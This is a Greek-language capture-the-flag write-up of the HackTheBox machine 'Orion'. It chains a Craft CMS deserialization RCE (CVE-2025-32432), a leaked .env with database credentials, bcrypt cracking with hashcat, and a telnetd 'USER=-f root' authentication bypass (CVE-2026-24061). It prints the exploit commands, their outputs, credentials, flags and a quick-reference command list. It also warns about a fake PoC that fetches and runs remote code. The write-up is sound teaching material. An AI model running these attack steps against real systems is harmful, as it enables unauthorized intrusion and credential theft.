Πίσω στο blog
← Πίσω στα posts

English  ·  Ελληνικά

HTB: Orion

HackTheBoxMy HTB profile & more boxes ↗ GitHubOpen-source security & automation tools ↗

Το Orion μοιάζει με box ενός-CVE μέχρι το exploit να αντεπιτεθεί. Το Craft CMS 5.6.16 είναι ευάλωτο στο CVE-2025-32432, ένα pre-auth deserialization RCE στο pipeline asset-transform — αλλά το πρώτο PoC που δοκιμάζω εξαρτάται από το να κάνω poison το access.log, και κάποιος (το box, ή ένας προηγούμενος επιτιθέμενος σε αυτό το κοινόχρηστο instance) έχει ήδη αφήσει έναν stale exit marker σε εκείνο το log που μπλοκάρει το gadget από το να ξαναπυροδοτηθεί. Το να αλλάξω σε μια παραλλαγή session-file poisoning του ίδιου CVE παρακάμπτει εντελώς το log και προσγειώνει RCE σαν www-data. Από εκεί ένα αρχείο .env παραδίδει τα credentials βάσης δεδομένων του Craft σε plaintext, ένα SELECT ενάντια στον πίνακα users τραβάει ένα bcrypt hash, και το rockyou το σπάει σε δευτερόλεπτα. Αυτό είναι SSH σαν adam και το user flag — αλλά το root είναι το πραγματικό γρίφος: ένα GNU Inetutils telnetd ακούει μόνο στο loopback, και ο αρχαίος χειρισμός του της μεταβλητής environment telnet USER (CVE-2026-24061) επιτρέπει σε έναν client να του δώσει -f root και να μπει κατευθείαν σαν root, χωρίς να ζητηθεί password.
Craft CMS 5.6.16 → CVE-2025-32432 session poisoning → www-data → .env DB creds → cracked bcrypt → adam (SSH) → CVE-2026-24061 telnet USER bypass → root

Αναγνώριση

Μόνο SSH και ένα web front end — τίποτα δεν κρύβεται πίσω από ένα vhost αυτή τη φορά.

nmap
$ nmap -sC -sV -Pn <TARGET> 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.18.0 (Ubuntu)

Το site στη θύρα 80 είναι μια εγκατάσταση Craft CMS. Το /admin/login διαρρέει το ακριβές build στα paths footer/asset του:

fingerprint
$ curl -s http://orion.htb/admin/login | grep -oE 'Craft [0-9.]+' Craft 5.6.16

Foothold — Craft CMS CVE-2025-32432, ο δύσκολος τρόπος

Το Craft ≤5.6.16 είναι ευάλωτο στο CVE-2025-32432, ένα unauthenticated RCE στο feature δημιουργίας asset-transform. Η ρίζα του προβλήματος είναι μια αλυσίδα gadget Yii2: ο handler session του Craft υποστηρίζεται από file storage τύπου yii\web\PhpManager, και η δημιουργία asset-transform μπορεί να εξαναγκαστεί σε unserializing δεδομένων ελεγχόμενων από τον επιτιθέμενο από εκείνο το storage, που — μέσω του σωστού gadget — καταλήγει σε αυθαίρετη εκτέλεση PHP.

Πρώτη προσπάθεια: το poisoning access-log αποτυγχάνει

Το φυσικό PoC (cd-ratel/CVE-2025-32432) δουλεύει γράφοντας ένα payload PHP μέσα στο /var/log/nginx/access.log μέσω ενός φτιαγμένου User-Agent, μετά πυροδοτώντας το gadget asset-transform ώστε να κάνει include() το αρχείο log και να τρέξει τον injected κώδικα ανάμεσα σε markers output. Απέτυχε σε κάθε ID asset:

access-log variant — blocked
$ python3 craft_exploit.py -u http://orion.htb -c 'id' [!] Markers not found in response $ for a in 1 3 4; do python3 craft_exploit.py -u http://orion.htb -a $a -c 'id'; done [!] Markers not found in response # same wall on every asset ID

Το ίδιο το log ήταν το πρόβλημα: το access.log κουβαλούσε ήδη ένα stale statement exit; από μια προηγούμενη προσπάθεια εκμετάλλευσης (αυτό είναι ένα κοινόχρηστο instance HTB, οπότε κάποιος το χτύπησε πριν από μένα), που κάνει short-circuit την εκτέλεση PHP πριν το δικό του marker-wrapped payload του gadget τρέξει ποτέ. Τα PoCs log-poisoning είναι εύθραυστα ακριβώς επειδή εξαρτώνται από ένα αρχείο του οποίου δεν ελέγχουν το πλήρες περιεχόμενο.

Δεύτερη προσπάθεια: το poisoning του PHP session-file δουλεύει

Το να αλλάξω στο c0gnit00/CVE-2025-32432 ("CraftCMS2Shell") παρακάμπτει εντελώς το path log — κάνει αντ' αυτού poison το δικό του PHP session file του Craft (/var/lib/php/sessions/sess_<id>), στο οποίο τίποτα άλλο στο box δεν γράφει, και κάνει auto-brute-force το ID asset που χρειάζεται:

session-file variant — CVE-2025-32432 → RCE
$ python3 c0_exploit.py -u http://orion.htb -c 'id; hostname' ========================================================== CVE-2025-32432 Craft CMS Pre-Auth RCE PoC v2 Target: http://orion.htb ========================================================== [+] Stage 1: Getting session cookie and CSRF token... [✓] Session ID: vk7548c5bhaoqed5ckt8cme1hm [✓] CSRF Token: 8zMA_jiBt5RNje9_noltf3FK9Vj0tP... [+] Stage 2: Poisoning session file with PHP code... [+] Poison request returned: 200 [✓] Session file poisoned [+] Stage 3: Brute-forcing asset ID (1-300)... [✓] Valid asset ID found: 1 (HTTP 200) [+] Stage 4: Triggering RCE via PhpManager gadget chain... uid=33(www-data) gid=33(www-data) groups=33(www-data) orion
Ίδιο CVE, δύο πολύ διαφορετικά PoCs. Όταν ένα exploit log-poisoning χτυπά τοίχο, έλεγξε αν το log είναι πραγματικά καθαρό πριν υποθέσεις ότι η ευπάθεια είναι patched — ένα box που έχει ήδη χτυπηθεί μία φορά μπορεί να αφήσει σκουπίδια που μπλοκάρουν ένα payload σωστό-κατά-βιβλίο. Μια παραλλαγή session/cache-file poisoning που γράφει σε μια τοποθεσία που τίποτα άλλο δεν αγγίζει είναι το πιο αξιόπιστο primitive όταν είναι διαθέσιμο.

Διαβάζοντας το διαρρευσμένο .env

RCE σαν www-data, και το δικό του .env του Craft στο web root παραδίδει τα credentials βάσης δεδομένων εντελώς ξεκάθαρα:

/var/www/html/craft/.env
$ python3 c0_exploit.py -u http://orion.htb -c 'cat /var/www/html/craft/.env' CRAFT_ENVIRONMENT=dev CRAFT_SECURITY_KEY=RRS86F6i2JQKdC6kfEI7frVxA47WVMx8 CRAFT_DEV_MODE=true CRAFT_ALLOW_ADMIN_CHANGES=true CRAFT_DB_DRIVER=mysql CRAFT_DB_SERVER=127.0.0.1 CRAFT_DB_PORT=3306 CRAFT_DB_DATABASE=orion CRAFT_DB_USER=root CRAFT_DB_PASSWORD=SuperSecureCraft123Pass!

Credentials MySQL root. Κατευθείαν στον πίνακα users για ένα hash να σπάσω:

DB → bcrypt hash
$ python3 c0_exploit.py -u http://orion.htb -c \ 'mysql -h127.0.0.1 -uroot -pSuperSecureCraft123Pass! orion -N -e "SELECT username,email,password FROM users;"' admin adam@orion.htb $2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS

Το bcrypt cost 13 είναι αργό, αλλά ο admin CMS πίσω από ένα "απλό" box συνήθως επαναχρησιμοποιεί μια πρώιμη καταχώρηση rockyou. Και το κάνει:

hashcat -m 3200
$ hashcat -m 3200 adam.hash rockyou.txt --quiet -o adam.cracked --potfile-disable $ cat adam.cracked $2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS:darkangel
adam : darkangel — και το email του λογαριασμού admin του ίδιου του Craft λειτούργησε διπλά σαν system username, οπότε ούτε εκεί χρειάστηκε μάντεμα.

Ο www-data δεν μπορούσε να διαβάσει το /home/adam απευθείας (mode 750, ανήκε στον adam:adam), οπότε αυτό το credential είναι ο μόνος τρόπος εισόδου. Το SSH το επιβεβαιώνει και ρίχνει το user flag:

adam → user.txt
$ ssh adam@orion.htb (darkangel) adam@orion:~$ id uid=1000(adam) gid=1000(adam) groups=1000(adam) adam@orion:~$ cat ~/user.txt 8b8f53d6ff09f9485b67e3246f2861e7

Root — το telnetd εμπιστεύεται τη μεταβλητή USER σου (CVE-2026-24061)

Το sudo -l είναι αδιέξοδο — ο adam δεν έχει κανόνα, ούτε καν NOPASSWD — και το /root/root.txt είναι ένα καθαρό permission denied. Καμία παραξενιά SUID επίσης· το box θέλει μια υπηρεσία, όχι ένα τοπικό binary. Ο έλεγχος listeners αναδεικνύει κάτι στο loopback:

sudo -l / listeners
$ sudo -l sudo: a password is required # no NOPASSWD rule at all $ ss -lntp LISTEN 0 10 127.0.0.1:23 0.0.0.0:* # telnet — internal only

Ένας daemon telnet προσβάσιμος μόνο από το ίδιο το box είναι μια ισχυρή ένδειξη. Έλεγχος τι πραγματικά ακούει:

telnetd version
$ dpkg -l | grep -iE "inetutils|telnet" GNU Inetutils 2.2 # in the vulnerable range

Το telnetd GNU Inetutils 1.9.3–2.7 είναι ευάλωτο στο CVE-2026-24061 (CVSS 9.8): τιμά τη διαπραγμάτευση ENVIRON του client telnet και περνά ό,τι διεκδικεί ο client σαν μεταβλητή USER κατευθείαν στο login σαν argument, unsanitized. Ένας client που διαπραγματεύεται USER=-f root κάνει το telnetd να τρέξει:

what the daemon actually executes
login -f root # -f = "already authenticated, don't ask"

Το login -f προορίζεται για trusted callers όπως το getty, όχι για ένα argument που ένας απομακρυσμένος client telnet μπορεί να διαλέξει. Ο daemon δεν το ελέγχει ποτέ για λογική, οπότε είναι ένα authentication bypass μεταμφιεσμένο σαν bug argument-injection.

Τα αδιέξοδα πριν το exploit που δούλεψε

Η σημαία -l του client netkit telnet προορίζεται να κάνει ακριβώς αυτό (telnet -l '-froot' 127.0.0.1 23), αλλά το να κάνεις pipe εντολές μέσα του non-interactively μέσω ενός καναλιού SSH exec_command δεν δουλεύει — ο client δεν κατανέμει ποτέ ένα πραγματικό TTY, η διαπραγμάτευση telnet IAC/ENVIRON καταπίνεται πριν μπορέσει να συμβεί το login, και η σύνδεση απλά κλείνει. Το να κάνεις script το ωμό πρωτόκολλο socket με το χέρι από ένα heredoc SSH χτύπησε τον ίδιο τοίχο για τον ίδιο λόγο: χωρίς PTY, η διαπραγμάτευση μισοολοκληρώνεται, τίποτα δεν επιστρέφει.

Η αναζήτηση στο GitHub για ένα έτοιμο PoC ανέδειξε ένα που φαινόταν υποσχόμενο και αποδείχτηκε νάρκη: το jacubes/CVE-2026-24061 δεν είναι καθόλου exploit telnet — το rce.py του καλεί το _fetch_bytes(url, api_key) → _load_module_memory(...) → bootstrap(...), δηλαδή κατεβάζει και εκτελεί κώδικα ελεγχόμενο από επιτιθέμενο από έναν απομακρυσμένο server τη στιγμή που το τρέχεις. Απορρίφθηκε — αυτό είναι μια backdoor που φοράει αριθμό CVE, όχι ένα PoC.

Έλεγξε ένα PoC πριν το τρέξεις, ειδικά για ένα φρέσκο CVE με λίγα δημόσια repos. Ένα script που κάνει resolve ένα απομακρυσμένο URL και δίνει την απάντηση σε exec/eval/dynamic import δεν αναπαράγει την ευπάθεια — σου ζητά να εμπιστευτείς έναν άγνωστο τρίτο με εκτέλεση κώδικα στο box (και πιθανώς στο δικό σου μηχάνημα, ανάλογα με το πού τρέχει).

Η πραγματική λύση ήταν ένα PoC που υλοποιεί σωστά τη διαπραγμάτευση πρωτοκόλλου telnet αντί να βασίζεται στον interactive client — το Ish3ng0m4/CVE-2026-24061-Telnetd μιλάει ωμό IAC/DO/WILL/SB ENVIRON πάνω από ένα απλό socket, κάνει inject USER=-f root στο subnegotiation, και διαβάζει το shell κατευθείαν από το καλώδιο — χωρίς να χρειάζεται TTY:

CVE-2026-24061 → root
$ python3 cve_2026_24061.py 127.0.0.1 23 CVE-2026-24061 - GNU Inetutils telnetd Auth Bypass [*] Target: 127.0.0.1:23 [+] Connected [*] Injected USER=-f root [+] VULNERABLE Linux 5.15.0-177-generic (orion) (pts/0) Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-177-generic x86_64) ... IPv4 address for eth0: 10.129.130.158 root@orion:~# id uid=0(root) gid=0(root) groups=0(root) root@orion:~# cat /root/root.txt 7a0bfb732fb94c235fa44b7d884837be
Χωρίς password, καμία αλυσίδα exploit μέσα στον ίδιο τον daemon — το telnetd απλά πίστεψε τον ισχυρισμό του client για το ποιος ήταν. Το binding του στο loopback περιόρισε την ακτίνα έκρηξης σε τοπικούς χρήστες, αλλά ο adam επρόκειτο πάντα να φτάσει εκεί μόλις είχε shell καθόλου. Η μόνη πραγματική λύση είναι να μην τρέχεις telnetd — το SSH το έχει κάνει ξεπερασμένο ακριβώς για αυτή την κλάση bug.

Σημειώσεις operator macOS

Χωρίς Metasploit στον host επίθεσης, οπότε και τα δύο CVEs έτρεξαν μέσω standalone PoCs Python αντί για module. Το pattern που είχε τη μεγαλύτερη σημασία ήταν να κάνω τα πάντα scriptable και non-interactive:

Γιατί Δούλεψε

→ www-dataCraft CMS 5.6.16 pre-auth deserialization RCE μέσω μιας αλυσίδας gadget Yii2 PhpManager στο pipeline asset-transform (CVE-2025-32432 / CWE-502)· ένα plaintext .env κάθονταν μέσα στο web root με ζωντανά credentials βάσης δεδομένων
→ adamCredentials DB από το .env επαναχρησιμοποιημένα για να διαβαστεί ο πίνακας users· το password bcrypt του admin ήταν μια λέξη λεξικού σπάσιμη από rockyou σε δευτερόλεπτα (CWE-521)
→ rootΤο GNU Inetutils telnetd (1.9.3–2.7) εμπιστεύεται την τιμή USER διαπραγματευμένη μέσω ENVIRON του client telnet και την περνά unsanitized στο login, οπότε το USER=-f root γίνεται login -f root — ένα χωρίς-password session root (CVE-2026-24061 / CWE-287, CWE-88)

Βασικές εντολές

quick reference
# 1. recon → Craft CMS 5.6.16 nmap -sC -sV -Pn <TARGET> curl -s http://orion.htb/admin/login | grep -oE 'Craft [0-9.]+' # 2. CVE-2025-32432 → www-data (παραλλαγή session-file, όχι access-log) python3 c0_exploit.py -u http://orion.htb -c 'id' # c0gnit00/CVE-2025-32432 python3 c0_exploit.py -u http://orion.htb -c 'cat /var/www/html/craft/.env' # 3. credentials DB → σπάσε το hash του adam → user.txt mysql -h127.0.0.1 -uroot -pSuperSecureCraft123Pass! orion -N -e "SELECT username,email,password FROM users;" hashcat -m 3200 adam.hash rockyou.txt --quiet -o adam.cracked --potfile-disable ssh adam@orion.htb # darkangel # 4. CVE-2026-24061 bypass μεταβλητης USER telnet → root.txt ss -lntp | grep 127.0.0.1:23 # telnetd, loopback only python3 cve_2026_24061.py 127.0.0.1 23 # Ish3ng0m4/CVE-2026-24061-Telnetd cat /root/root.txt
HackTheBoxMy HTB profile & more boxes ↗ GitHubOpen-source security & automation tools ↗